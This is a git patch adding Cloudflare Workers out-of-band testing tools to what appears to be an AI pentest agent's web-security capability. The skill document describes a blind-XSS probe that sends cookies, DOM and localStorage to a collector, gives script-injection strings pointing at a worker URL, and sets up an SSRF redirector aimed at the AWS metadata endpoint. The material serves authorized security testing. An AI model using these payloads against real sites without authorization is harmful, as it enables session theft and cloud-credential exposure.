From 9e5b22dfadd424f8b4726eb06d43db6cdb20a303 Mon Sep 17 00:00:00 2001 From: GangGreenTemperTatum <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Thu, 27 Aug 2026 17:12:43 -0400 Subject: [PATCH] feat(web-security): add wrangler (Cloudflare Workers) as OAST tooling (CAP-1190) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds the wrangler CLI (cloudflare/workers-sdk) to the web-security capability and a Wrangler toolset that deploys Cloudflare Workers as custom OAST endpoints — attacker-controlled, programmable callback infrastructure that complements the passive OOB providers (webhook.site / interactsh can only receive; a worker can also serve): - wrangler_status — verify binary + non-interactive token auth - wrangler_deploy — callback (request logger), blind-xss (JS probe + /collect exfil), redirect (302 for SSRF chains), and custom worker templates - wrangler_tail — bounded log-stream capture; parses console.log JSON events AND raw request events - wrangler_list — account workers via the Cloudflare REST API (wrangler has no list command), pagination-aware - wrangler_delete — teardown with --force Auth is runtime-only from the environment per wrangler's own contract: CLOUDFLARE_API_TOKEN + CLOUDFLARE_ACCOUNT_ID, with the CF_API_TOKEN / CF_ACCOUNT_ID aliases (flareprox's env contract accepted as fallbacks so one credential pair drives both tools. No wrangler login state is created or persisted. Telemetry is suppressed in subprocesses so disconnected deployments make no extra outbound requests. Runtime install: - scripts/install_tools.sh: guarded (have wrangler) and pinned (wrangler@4.127.0) npm install, non-fatal WARN fallback — offline guard tests extended to enforce guard+pin discipline on all npm installs (agent-browser pinned to its current latest as a result) - docker/Dockerfile.runtime: matching pinned layer - capability.yaml: wrangler preflight check, description, keywords, version 1.14.0 -> 1.15.0 Docs: new skills/wrangler-oast/SKILL.md (activation gate on env vars, workflow, template details, mandatory cleanup); agent tool guidance updated to route credential-less detection to get_callback_url and only use wrangler for payload serving / custom responses / redirects; blind-ssrf-chains cross-references the new tools behind its existing approval gate. Ground-truth verification against wrangler 4.x: whoami --json exits non-zero when unauthenticated (plain whoami exits 0 with a notice); delete takes the worker name positionally (--name is not an option); no top-level list command exists; CLOUDFLARE_ACCOUNT_ID is honored without a wrangler.toml account_id; --var=KEY:VALUE works with --no-bundle. All tool/test surfaces verified against the real binary via the real SDK loader (tool registration, schema generation, and a full handle_tool_call round-trip). Tests: 67 new unit tests in tests/test_wrangler.py; offline-guard tests extended for the wrangler install; full capability suite passes (700 tests). EOF ) --- .../web-security/agents/web-security.md | 1 + capabilities/web-security/capability.yaml | 12 +- .../web-security/docker/Dockerfile.runtime | 12 +- .../web-security/scripts/install_tools.sh | 17 +- .../skills/blind-ssrf-chains/SKILL.md | 2 + .../skills/wrangler-oast/SKILL.md | 117 +++ .../tests/test_install_tools_offline.py | 32 +- .../web-security/tests/test_wrangler.py | 867 ++++++++++++++++++ capabilities/web-security/tools/wrangler.py | 722 +++++++++++++++ 9 files changed, 1777 insertions(+), 5 deletions(-) create mode 100644 capabilities/web-security/skills/wrangler-oast/SKILL.md create mode 100644 capabilities/web-security/tests/test_wrangler.py create mode 100644 capabilities/web-security/tools/wrangler.py diff --git a/capabilities/web-security/agents/web-security.md b/capabilities/web-security/agents/web-security.md index 6fd1e3c..ac9da32 100644 --- a/capabilities/web-security/agents/web-security.md +++ b/capabilities/web-security/agents/web-security.md @@ -102,6 +102,7 @@ Any tool that scans, fuzzes, or floods runs on shared local hardware. Cap concur - Use `store_credential` and `get_credential` to preserve auth state for the current session instead of manually re-entering secrets or tokens. When the credential was operator-sourced, also persist the auth *flow* to project memory (see **Authentication Context** above). Also supports TOTP/MFA via `add_totp_credential` and `generate_mfa_code`. - Use `assess_confidence` before claiming a vulnerability so your report is grounded in demonstrated evidence rather than a lead or hypothesis. - Use `get_callback_url` and `check_callbacks` for out-of-band testing (blind SSRF, blind XSS, DNS exfiltration). webhook.site is the primary provider and now paywalls token creation — set `WEBHOOK_SITE_API_KEY` (env var or `.env`) to authenticate with a paid account; the tool reuses the account's existing token when the Basic-tier one-token cap is hit, and falls back to interactsh when no key is available. +- Use the `wrangler_*` tools (`wrangler_status`, `wrangler_deploy`, `wrangler_tail`, `wrangler_list`, `wrangler_delete`) only when OOB testing needs attacker-controlled infrastructure beyond a passive callback URL — serving a blind XSS payload, a custom response body, or a 302 redirector for SSRF chains. Requires `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` env vars (`CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases accepted). Load the `wrangler-oast` skill for the full workflow. When a plain detection callback is enough, prefer `get_callback_url` — it needs no credentials. Always delete deployed workers (`wrangler_list` + `wrangler_delete`) when testing completes. - Use `list_free_phone_numbers` and `read_phone_inbox` when signup or MFA flows require SMS verification, unless prompted by the user. Free public numbers first — fall back to `request_private_number`/`poll_private_number` (paid API, needs key via `store_credential`) only when the target blocks public numbers. - Use `generate_rebinding_hostname` and `list_rebinding_presets` for DNS rebinding SSRF bypass when IP filters validate resolved addresses before fetching. - Use the `agentmail_*` tools (`agentmail_list_inboxes`, `agentmail_create_inbox`, `agentmail_list_messages`, `agentmail_get_message`, `agentmail_send_message`, `agentmail_reply_message`) to work with AgentMail email inboxes when a real, agent-owned email address is useful — for example signup, recovery, or email-verification flows. Requires an AgentMail API key via the `AGENTMAIL_API_KEY` environment variable or the `api_key` argument. Available only when the key is configured. diff --git a/capabilities/web-security/capability.yaml b/capabilities/web-security/capability.yaml index 325f83f..f32d38b 100644 --- a/capabilities/web-security/capability.yaml +++ b/capabilities/web-security/capability.yaml @@ -1,6 +1,6 @@ schema: 1 name: web-security -version: "1.14.0" +version: "1.15.0" description: > Web application penetration testing with 83 attack technique playbooks covering HTTP desync/request smuggling, cache poisoning, SSRF, SSTI, DOM @@ -9,7 +9,10 @@ description: > Includes geo-distributed DNS resolution via in-region open resolvers (Shodan/Censys) for detecting geo-fenced infrastructure, HTTP client tooling with OOB callbacks via webhook.site - (API-key aware) and interactsh, four coexisting Caido surfaces + (API-key aware) and interactsh, Cloudflare Workers deployment + via wrangler for custom OAST endpoints (blind XSS payload + hosting, configurable callback receivers, SSRF redirect + servers), four coexisting Caido surfaces (caido-cli server, the Python caido-sdk-client, lightweight and full-surface MCP servers, and the caido-mode TypeScript SDK CLI on @caido/sdk-client / caido-ts) for curl-through-Caido @@ -199,6 +202,8 @@ checks: command: command -v exiftool - name: ast-grep command: command -v ast-grep + - name: wrangler + command: command -v wrangler - name: jxscout command: command -v jxscout-pro-v2 @@ -251,6 +256,9 @@ keywords: - ast-grep - interactsh - oob-callbacks + - wrangler + - cloudflare-workers + - oast - securitycontext - geo-dns - geo-fencing diff --git a/capabilities/web-security/docker/Dockerfile.runtime b/capabilities/web-security/docker/Dockerfile.runtime index 7dcf7dc..d3004a6 100644 --- a/capabilities/web-security/docker/Dockerfile.runtime +++ b/capabilities/web-security/docker/Dockerfile.runtime @@ -21,6 +21,7 @@ # - agent-browser (headless Chromium for DOM interaction) # - kiterunner (API-aware content discovery) # - surf (SSRF target identification) +# - wrangler (Cloudflare Workers CLI for custom OAST endpoints) # - pacu (AWS exploitation framework) # - ast-grep (AST-based code pattern search via tree-sitter) # @@ -120,10 +121,19 @@ RUN go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@late RUN go install rsc.io/2fa@latest # ── agent-browser ─────────────────────────────────────────────────── -RUN npm install -g agent-browser \ +# Pinned to match scripts/install_tools.sh (AGENT_BROWSER_VERSION). +ARG AGENT_BROWSER_VERSION=0.35.1 +RUN npm install -g agent-browser@${AGENT_BROWSER_VERSION} \ && agent-browser install || true ENV CHROME_PATH="/usr/bin/chromium" +# ── wrangler (Cloudflare Workers CLI for custom OAST endpoints) ───── +# Deploy/tail/delete Workers used as OAST callback endpoints. Auth at +# runtime via CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases +# accepted by the wrangler toolset). +ARG WRANGLER_VERSION=4.127.0 +RUN npm install -g wrangler@${WRANGLER_VERSION} + # ── tsx (for the caido-mode skill's TypeScript SDK CLI) ───────────── # The caido-mode skill (skills/caido-mode) is mounted at runtime and its # node_modules are installed by scripts/install_tools.sh at provision time. diff --git a/capabilities/web-security/scripts/install_tools.sh b/capabilities/web-security/scripts/install_tools.sh index a0f71a7..4a01d31 100755 --- a/capabilities/web-security/scripts/install_tools.sh +++ b/capabilities/web-security/scripts/install_tools.sh @@ -244,8 +244,11 @@ if ! command -v node &>/dev/null; then && as_root apt-get install -y --no-install-recommends nodejs \ || echo "WARN: Node.js install failed, skipping" fi +# agent-browser pinned to the current latest — an unpinned install resolves +# to a different tool on different days, which no SBOM can describe. +AGENT_BROWSER_VERSION="0.35.1" if ! have agent-browser; then - as_root npm install -g agent-browser \ + as_root npm install -g "agent-browser@${AGENT_BROWSER_VERSION}" \ || echo "WARN: agent-browser install failed, skipping" fi # `agent-browser install` downloads the browser binaries themselves. Guarded on @@ -271,6 +274,18 @@ if [ -f "$CAIDO_MODE_DIR/package.json" ] && [ ! -d "$CAIDO_MODE_DIR/node_modules || echo "WARN: caido-mode npm install failed, skipping" fi +# -- wrangler (Cloudflare Workers CLI for OAST endpoints) ------------------ +# Deploys Cloudflare Workers as custom OAST endpoints (blind XSS payload +# hosting, configurable callback receivers, SSRF redirectors) — see the +# wrangler toolset and the wrangler-oast skill. Auth is runtime-only via +# CLOUDFLARE_API_TOKEN / CLOUDFLARE_ACCOUNT_ID (CF_* aliases accepted). +# Pinned: an unpinned npm install re-resolves against the registry even when +# the binary is already present, which a sealed deployment must never do. +WRANGLER_VERSION="4.127.0" +have wrangler || \ + as_root npm install -g "wrangler@${WRANGLER_VERSION}" \ + || echo "WARN: wrangler install failed, skipping" + # -- ast-grep (AST-based code pattern search) --------------------------------- # Tree-sitter based structural code matching for JS/TS/HTML. Lightweight # alternative to semgrep for pattern matching (no taint analysis). diff --git a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md index 0ed1c41..f00d8f7 100644 --- a/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md +++ b/capabilities/web-security/skills/blind-ssrf-chains/SKILL.md @@ -10,6 +10,8 @@ You have blind SSRF. You can hit internal IPs but get no response body. The prog When SSRF is confirmed but you need attacker-controlled infrastructure to complete the chain (claim a dangling bucket, serve redirects, host custom content for a parser), do not guess or auto-provision. Detect what cloud/hosting CLIs are on the shell (`which aws az gcloud fly netlify wrangler docker ngrok`), present the available options and what the situation requires, then use AskUserQuestion for approval and credential guidance. Do not block other testing while waiting. +For the redirector and custom-content cases specifically, the built-in `wrangler_*` tools (see the `wrangler-oast` skill) deploy Cloudflare Workers as 302 redirectors or content servers when `CLOUDFLARE_API_TOKEN` / `CLOUDFLARE_ACCOUNT_ID` are set — the same approval gate applies. + **Trigger signals:** - Server response contains `NoSuchBucket`, `BlobNotFound`, or similar dangling cloud resource error — claim the resource name, upload payload - SSRF follows redirects but you need a reliable controlled redirector (httpbin.org rate-limits) — deploy a minimal 302 server diff --git a/capabilities/web-security/skills/wrangler-oast/SKILL.md b/capabilities/web-security/skills/wrangler-oast/SKILL.md new file mode 100644 index 0000000..af7f170 --- /dev/null +++ b/capabilities/web-security/skills/wrangler-oast/SKILL.md @@ -0,0 +1,117 @@ +--- +name: wrangler-oast +description: "Deploy Cloudflare Workers as custom OAST endpoints for blind XSS payload hosting, configurable callback receivers, and SSRF redirect servers. Use when you need attacker-controlled infrastructure beyond what interactsh/webhook.site provides — custom response bodies, JS payload serving, or 302 redirect chains. Requires CLOUDFLARE_API_TOKEN and CLOUDFLARE_ACCOUNT_ID (CF_API_TOKEN / CF_ACCOUNT_ID aliases accepted). Triggers on 'blind XSS', 'custom callback server', 'OAST worker', 'serve a payload', 'redirect server', 'wrangler'." +--- + +# Wrangler OAST — Cloudflare Workers for Out-of-Band Testing + +Deploy Cloudflare Workers as custom OAST (Out-of-Band Application Security Testing) endpoints. This complements interactsh and webhook.site by giving you **programmable** callback infrastructure at the edge. + +**Activation gate:** Only use this skill when `CLOUDFLARE_API_TOKEN` and `CLOUDFLARE_ACCOUNT_ID` are set in the environment (the `CF_API_TOKEN` / `CF_ACCOUNT_ID` aliases also work). If unset, do not suggest wrangler — fall back to `get_callback_url` (webhook.site / interactsh), which needs no credentials. Do not ask the user to enable it; state the requirement once if a technique genuinely needs a custom endpoint and move on. + +## When to Use This vs. Interactsh + +| Need | Tool | +|---|---| +| Detect whether a target makes an outbound request | interactsh / `get_callback_url` | +| Serve a **custom JavaScript payload** (blind XSS) | `wrangler_deploy` with `blind-xss` template | +| Serve a **custom HTTP response** (content-type, headers, body) | `wrangler_deploy` with `custom` template | +| **302 redirect** an SSRF to a different target | `wrangler_deploy` with `redirect` template | +| Log **full request details** with custom processing | `wrangler_deploy` with `callback` template | + +## Prerequisites + +1. `CLOUDFLARE_API_TOKEN` — create at https://dash.cloudflare.com/profile/api-tokens with **Workers Scripts Edit** permission +2. `CLOUDFLARE_ACCOUNT_ID` — found in the Cloudflare dashboard sidebar + +Call `wrangler_status` to verify both are set and the token is valid before deploying. + +## Workflow + +### 1. Check Auth + +``` +wrangler_status +``` + +If auth fails, the user needs to set the env vars. Do not proceed without valid auth. + +### 2. Deploy a Worker + +**OAST Callback** — logs every incoming request with full headers, body, and metadata: +``` +wrangler_deploy(template="callback") +``` + +**Blind XSS Probe** — serves a JS payload at the root URL that exfiltrates page data (cookies, DOM, localStorage) back to `/collect` on the same worker: +``` +wrangler_deploy(template="blind-xss") +``` + +Then inject the worker URL as a script source: `` + +**SSRF Redirect** — 302 redirects all requests to a target (e.g., cloud metadata): +``` +wrangler_deploy(template="redirect", redirect_target="http://169.254.169.254/latest/meta-data/") +``` + +**Custom Worker** — deploy arbitrary JavaScript: +``` +wrangler_deploy(template="custom", worker_code='export default { fetch() { return new Response("custom", { headers: { "Content-Type": "text/html" } }); } };') +``` + +### 3. Monitor Interactions + +After injecting the worker URL into the target, check for incoming requests: +``` +wrangler_tail(name="dn-oast-xxx", seconds=15) +``` + +`wrangler_tail` captures both `console.log()` output from template workers (structured JSON with method, URL, headers, body) and raw request events (method + URL) for custom workers that never call console.log. + +### 4. Clean Up + +**Cleanup is mandatory.** Always delete workers after testing: +``` +wrangler_delete(name="dn-oast-xxx") +``` + +Use `wrangler_list` to find all deployed workers. Workers created by this toolset use the `dn-oast-` prefix. Log what you created in the gadget ledger, and tear it down before the engagement ends. + +## Template Details + +### callback +Logs every request as structured JSON. Responds with `200 OK` and `Access-Control-Allow-Origin: *` to maximize compatibility with CORS-restricted contexts. + +Logged fields: `timestamp`, `method`, `url`, `path`, `headers`, `body`, `cf` (Cloudflare request metadata including geolocation). + +### blind-xss +Two-endpoint worker: +- **`/`** — serves a JavaScript probe that collects `document.cookie`, `location.href`, DOM (first 8KB), `localStorage`, `origin`, and `referrer`, then POSTs the data as JSON to `/collect` +- **`/collect`** — receives and logs the exfiltrated data (CORS preflight handled) + +Inject as: `">` or `javascript:void(document.body.appendChild(document.createElement('script')).src='https://WORKER.workers.dev')` + +### redirect +Returns `302` redirecting to a configurable target URL (defaults to AWS metadata endpoint). The redirect is returned to the *client* — the worker itself never fetches the target, so internal/private addresses work when the SSRF victim follows redirects. Useful for: +- SSRF filter bypass (server allows `*.workers.dev` but blocks internal IPs) +- Protocol downgrade (HTTPS worker redirects to HTTP internal target) +- Chained exploitation (redirect to internal service URLs) + +The `redirect_target` must be a full URL including scheme (`http://` or `https://`). + +## Combining with Other Tools + +- **With interactsh**: Deploy a worker for payload hosting, use interactsh for reliable OOB detection. Best of both worlds. +- **With CallbackClient**: If you only need detection (not custom responses), `get_callback_url` is simpler and requires no Cloudflare credentials. +- **With blind SSRF chains**: Deploy a redirect worker to chain SSRF through Workers edge → internal target. See the `blind-ssrf-chains` skill. +- **With data exfiltration**: Deploy a callback worker as the exfil endpoint for prompt injection or XSS payloads. + +## Important Notes + +- Workers deploy to Cloudflare's global edge network. Latency is consistently low. +- Free Cloudflare plans allow 100,000 requests/day — more than enough for testing. +- Workers get a `*.workers.dev` subdomain automatically. No custom domain needed. +- `wrangler_tail` connects to the real-time log stream for a bounded window (max 60s per call). Call it repeatedly for longer monitoring. +- Nothing is persisted locally; auth is read from the environment on every call. The tool never runs `wrangler login`. +- Always clean up deployed workers after testing. Use `wrangler_list` + `wrangler_delete`. diff --git a/capabilities/web-security/tests/test_install_tools_offline.py b/capabilities/web-security/tests/test_install_tools_offline.py index e5274d2..64a856e 100644 --- a/capabilities/web-security/tests/test_install_tools_offline.py +++ b/capabilities/web-security/tests/test_install_tools_offline.py @@ -56,11 +56,24 @@ def test_every_go_install_is_guarded(self) -> None: def test_global_npm_install_is_guarded(self) -> None: for i, line in enumerate(LINES): - if re.search(r"^\s*npm install -g", line): + if re.search(r"^\s*(as_root\s+)?npm install -g", line): assert "have " in _preceding_context( i ), f"unguarded global npm install at line {i + 1}: {line.strip()}" + def test_npm_installs_are_version_pinned(self) -> None: + # Same SBOM argument as the go pins: an unpinned `npm install -g` + # re-resolves against the registry on every boot even when the binary + # is present, and installs a different tool on different days. + unpinned = [ + line.strip() + for line in LINES + if re.search(r"^\s*(as_root\s+)?npm install -g", line) + and not re.search(r"@\$?\{?[A-Za-z0-9_.-]+\}?", line.split("-g", 1)[-1]) + and not line.strip().startswith("#") + ] + assert not unpinned, f"unpinned npm installs: {unpinned}" + def test_py_install_calls_are_guarded(self) -> None: # Every `py_install` call must be preceded by a `have` check so that # already-installed Python tools do not re-resolve against PyPI. @@ -109,6 +122,22 @@ def test_kiterunner_build_is_guarded(self) -> None: idx = next(i for i, line in enumerate(LINES) if "assetnote/kiterunner" in line) assert "have kr" in _preceding_context(idx, span=4) + def test_wrangler_install_is_guarded_and_pinned(self) -> None: + # wrangler is fetched from npm, so the guard-and-pin discipline applies + # exactly as it does to the go installs: present binary -> no registry + # request; absent binary -> the pinned version, not @latest. + idx = next( + i for i, line in enumerate(LINES) if "wrangler@${WRANGLER_VERSION}" in line + ) + assert "have wrangler" in _preceding_context(idx, span=6) + pin = next( + i for i, line in enumerate(LINES) if line.startswith("WRANGLER_VERSION=") + ) + assert re.fullmatch( + r"WRANGLER_VERSION=\"[0-9]+\.[0-9]+\.[0-9]+\"", + LINES[pin].strip(), + ), f"unpinned wrangler version: {LINES[pin]}" + def test_git_clones_are_guarded_on_target_dir(self) -> None: # Clones to persistent paths (fireprox, archivealchemist) are guarded # on the target directory existing. Clones to /tmp (kiterunner) are @@ -208,6 +237,7 @@ def test_optional_vendor_downloads_do_not_abort_the_run(self) -> None: "WARN: waymore install failed", "WARN: pacu install failed", "WARN: agent-browser install failed", + "WARN: wrangler install failed", "WARN: caido-mode npm install failed", ): assert marker in INSTALL_SCRIPT, f"missing non-fatal fallback: {marker}" diff --git a/capabilities/web-security/tests/test_wrangler.py b/capabilities/web-security/tests/test_wrangler.py new file mode 100644 index 0000000..bc2d202 --- /dev/null +++ b/capabilities/web-security/tests/test_wrangler.py @@ -0,0 +1,867 @@ +"""Tests for the wrangler OAST toolset.""" + +from __future__ import annotations + +import asyncio +import importlib.util +import json +import os +from pathlib import Path +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +# The shared conftest.py stub (dreadnode.agents.tools) is installed before +# this module loads, so the toolset imports cleanly without the real SDK. + +MODULE_PATH = Path(__file__).resolve().parent.parent / "tools" / "wrangler.py" +SPEC = importlib.util.spec_from_file_location("wrangler_tool", MODULE_PATH) +assert SPEC and SPEC.loader +MODULE = importlib.util.module_from_spec(SPEC) +SPEC.loader.exec_module(MODULE) + +Wrangler = MODULE.Wrangler + +AUTH_ENV = { + "CLOUDFLARE_API_TOKEN": "test-token", + "CLOUDFLARE_ACCOUNT_ID": "test-account", +} + + +def _mock_process( + stdout: str = "", + stderr: str = "", + returncode: int = 0, +) -> MagicMock: + """Create a mock asyncio subprocess.""" + proc = MagicMock() + proc.communicate = AsyncMock(return_value=(stdout.encode(), stderr.encode())) + proc.returncode = returncode + proc.kill = MagicMock() + return proc + + +def _patched_env(env: dict[str, str] | None = None): + """Patch the environment, keeping PATH so shutil.which still works.""" + return patch.dict(os.environ, env if env is not None else {}, clear=False) + + +@pytest.fixture +def toolset() -> Wrangler: + with patch.dict(os.environ, AUTH_ENV, clear=False): + yield Wrangler() + + +# --------------------------------------------------------------------------- +# Tool discovery +# --------------------------------------------------------------------------- + + +class TestToolDiscovery: + def test_tools_discovered(self, toolset: Wrangler) -> None: + names = {tool.name for tool in toolset.get_tools()} + assert names == { + "wrangler_status", + "wrangler_deploy", + "wrangler_tail", + "wrangler_list", + "wrangler_delete", + } + + +# --------------------------------------------------------------------------- +# Env / auth resolution +# --------------------------------------------------------------------------- + + +class TestAuthResolution: + def test_auth_error_missing_token(self) -> None: + with patch.dict(os.environ, {"CLOUDFLARE_ACCOUNT_ID": "acct"}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + err = MODULE._auth_error() + assert err is not None + assert "CLOUDFLARE_API_TOKEN" in err + + def test_auth_error_missing_account(self) -> None: + with patch.dict(os.environ, {"CLOUDFLARE_API_TOKEN": "tok"}, clear=False): + os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None) + os.environ.pop("CF_ACCOUNT_ID", None) + err = MODULE._auth_error() + assert err is not None + assert "CLOUDFLARE_ACCOUNT_ID" in err + + def test_auth_ok_with_native_vars(self) -> None: + with patch.dict(os.environ, AUTH_ENV, clear=False): + os.environ.pop("CF_API_TOKEN", None) + os.environ.pop("CF_ACCOUNT_ID", None) + assert MODULE._auth_error() is None + + def test_cf_aliases_accepted(self) -> None: + # The flareprox tool in this capability uses CF_* env vars; one + # credential pair should drive both tools. + with patch.dict( + os.environ, + {"CF_API_TOKEN": "cf-tok", "CF_ACCOUNT_ID": "cf-acct"}, + clear=False, + ): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None) + resolved = MODULE._resolve_env() + auth_err = MODULE._auth_error() + assert resolved == { + "CLOUDFLARE_API_TOKEN": "cf-tok", + "CLOUDFLARE_ACCOUNT_ID": "cf-acct", + } + assert auth_err is None + + def test_native_vars_take_precedence(self) -> None: + with patch.dict( + os.environ, + { + "CLOUDFLARE_API_TOKEN": "native", + "CLOUDFLARE_ACCOUNT_ID": "native-acct", + "CF_API_TOKEN": "alias", + "CF_ACCOUNT_ID": "alias-acct", + }, + clear=False, + ): + resolved = MODULE._resolve_env() + assert resolved["CLOUDFLARE_API_TOKEN"] == "native" + assert resolved["CLOUDFLARE_ACCOUNT_ID"] == "native-acct" + + +# --------------------------------------------------------------------------- +# Name validation / generation +# --------------------------------------------------------------------------- + + +class TestNames: + def test_generate_name(self) -> None: + name = MODULE._generate_name() + assert name.startswith("dn-oast-") + assert len(name) == len("dn-oast-") + 8 + + def test_generate_name_valid(self) -> None: + # Auto-generated names must always pass wrangler's own validation. + assert MODULE._validate_name(MODULE._generate_name()) is None + + def test_validate_name_accepts_valid(self) -> None: + for name in ("dn-oast-abc123", "worker", "a", "a_b-c1"): + assert MODULE._validate_name(name) is None + + def test_validate_name_rejects_empty(self) -> None: + assert MODULE._validate_name("") is not None + + def test_validate_name_rejects_uppercase(self) -> None: + assert MODULE._validate_name("dn-oast-ABC") is not None + + def test_validate_name_rejects_leading_dash(self) -> None: + assert MODULE._validate_name("-dn-oast") is not None + + def test_validate_name_rejects_special_chars(self) -> None: + # Also covers toml injection attempts: quotes, newlines, equals. + for name in ('dn-oast" main="evil', "dn-oast\nx=1", "dn oast", "dn;oast"): + assert MODULE._validate_name(name) is not None + + +# --------------------------------------------------------------------------- +# URL extraction / tail parsing +# --------------------------------------------------------------------------- + + +class TestOutputParsing: + def test_ansi_stripped(self) -> None: + # wrangler colorizes even when piped; the tool must hand the LLM + # clean text. + colored = ( + "\x1b[31m\x1b[41;31m[\x1b[41;97mERROR\x1b[41;31m]\x1b[0m request failed" + ) + assert MODULE._clean(colored) == "[ERROR] request failed" + + def test_extract_worker_url(self) -> None: + output = ( + "⛅️ wrangler 4.127.0\n" + "───────────────\n" + "Uploaded dn-oast-test123 (1.2 sec)\n" + "Deployed dn-oast-test123 triggers (0.8 sec)\n" + " https://dn-oast-test123.myaccount.workers.dev\n" + ) + assert ( + MODULE._extract_worker_url(output) + == "https://dn-oast-test123.myaccount.workers.dev" + ) + + def test_extract_worker_url_absent(self) -> None: + assert MODULE._extract_worker_url("no url here") == "" + + def test_extract_worker_url_ignores_dashboard_links(self) -> None: + output = ( + "Deployed dn-oast-x triggers\n" + " https://dash.cloudflare.com/acct/workers/services/view/dn-oast-x\n" + " https://dn-oast-x.sub.workers.dev\n" + ) + assert MODULE._extract_worker_url(output).endswith("workers.dev") + + def test_format_tail_console_logs(self) -> None: + event = { + "outcome": "ok", + "logs": [ + { + "message": ['{"method":"GET","url":"https://w.dev/probe"}'], + "level": "log", + } + ], + } + formatted = MODULE._format_tail_output(json.dumps(event)) + assert "probe" in formatted + + def test_format_tail_request_events(self) -> None: + # Custom workers that never console.log still surface the request. + event = { + "outcome": "ok", + "logs": [], + "event": {"request": {"method": "GET", "url": "https://w.dev/collect?x=1"}}, + } + formatted = MODULE._format_tail_output(json.dumps(event)) + assert "GET https://w.dev/collect?x=1" in formatted + + def test_format_tail_exceptions(self) -> None: + event = { + "outcome": "exception", + "logs": [], + "exceptions": [{"name": "Error", "message": "boom"}], + } + formatted = MODULE._format_tail_output(json.dumps(event)) + assert "Error" in formatted and "boom" in formatted + + def test_format_tail_passthrough_non_json(self) -> None: + formatted = MODULE._format_tail_output("plain text output\n") + assert "plain text output" in formatted + + def test_format_tail_multiple_events(self) -> None: + events = "\n".join( + json.dumps( + { + "outcome": "ok", + "logs": [{"message": [f"event-{i}"], "level": "log"}], + } + ) + for i in range(3) + ) + formatted = MODULE._format_tail_output(events) + for i in range(3): + assert f"event-{i}" in formatted + + +# --------------------------------------------------------------------------- +# Templates +# --------------------------------------------------------------------------- + + +class TestTemplates: + def test_templates_valid(self) -> None: + for key, code in MODULE._TEMPLATES.items(): + assert code.strip(), f"Template '{key}' is empty" + assert "export default" in code, f"Template '{key}' missing export" + + +# --------------------------------------------------------------------------- +# Status +# --------------------------------------------------------------------------- + + +class TestStatus: + @pytest.mark.asyncio + async def test_missing_binary(self, toolset: Wrangler) -> None: + with patch("shutil.which", return_value=None): + result = await toolset.status() + assert "not found" in result.lower() + + @pytest.mark.asyncio + async def test_missing_token(self) -> None: + with patch.dict(os.environ, {"CLOUDFLARE_ACCOUNT_ID": "acct"}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + result = await Wrangler().status() + assert "CLOUDFLARE_API_TOKEN" in result + + @pytest.mark.asyncio + async def test_missing_account(self) -> None: + with patch.dict(os.environ, {"CLOUDFLARE_API_TOKEN": "tok"}, clear=False): + os.environ.pop("CLOUDFLARE_ACCOUNT_ID", None) + os.environ.pop("CF_ACCOUNT_ID", None) + result = await Wrangler().status() + assert "CLOUDFLARE_ACCOUNT_ID" in result + + @pytest.mark.asyncio + async def test_whoami_failure(self, toolset: Wrangler) -> None: + # whoami --json exits non-zero on an invalid token (verified against + # wrangler 4.x); status must surface that instead of claiming success. + mock_proc = _mock_process(stderr="Invalid request headers", returncode=1) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.status() + assert "token was rejected" in result.lower() + + @pytest.mark.asyncio + async def test_whoami_not_logged_in(self, toolset: Wrangler) -> None: + # {"loggedIn": false} with exit 1 — report it as an error. + mock_proc = _mock_process(stdout='{"loggedIn": false}', returncode=1) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.status() + assert "not logged in" in result.lower() + + @pytest.mark.asyncio + async def test_success(self, toolset: Wrangler) -> None: + mock_proc = _mock_process( + stdout=json.dumps({"loggedIn": True, "account": {"name": "test"}}) + ) + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch("asyncio.create_subprocess_exec", return_value=mock_proc), + ): + result = await toolset.status() + assert "operational" in result.lower() + + @pytest.mark.asyncio + async def test_uses_json_flag(self, toolset: Wrangler) -> None: + mock_proc = _mock_process(stdout='{"loggedIn": true}') + with ( + patch("shutil.which", return_value="/usr/local/bin/wrangler"), + patch( + "asyncio.create_subprocess_exec", return_value=mock_proc + ) as mock_exec, + ): + await toolset.status() + args = mock_exec.call_args[0] + assert "whoami" in args + assert "--json" in args + + +# --------------------------------------------------------------------------- +# Deploy +# --------------------------------------------------------------------------- + + +DEPLOY_OUTPUT = ( + "⛅️ wrangler 4.127.0\n" + "Uploaded dn-oast-test123 (1.2 sec)\n" + "Deployed dn-oast-test123 triggers (0.8 sec)\n" + " https://dn-oast-test123.myaccount.workers.dev\n" +) + + +class TestDeploy: + @pytest.mark.asyncio + async def test_missing_auth(self) -> None: + with patch.dict(os.environ, {}, clear=False): + os.environ.pop("CLOUDFLARE_API_TOKEN", None) + os.environ.pop("CF_API_TOKEN", None) + result = await Wrangler().deploy() + assert "CLOUDFLARE_API_TOKEN" in result + + @pytest.mark.asyncio + async def test_unknown_template(self, toolset: Wrangler) -> None: + result = await toolset.deploy(template="nonexistent") + assert "Unknown template" in result + + @pytest.mark.asyncio + async def test_custom_without_code(self, toolset: Wrangler) -> None: + result = await toolset.deploy(template="custom") + assert "worker_code is required" in result + + @pytest.mark.asyncio + async def test_invalid_name_rejected(self, toolset: Wrangler) -> None: + # An invalid name must fail before any subprocess runs. + with patch("asyncio.create_subprocess_exec") as mock_exec: + result = await toolset.deploy(template="callback", 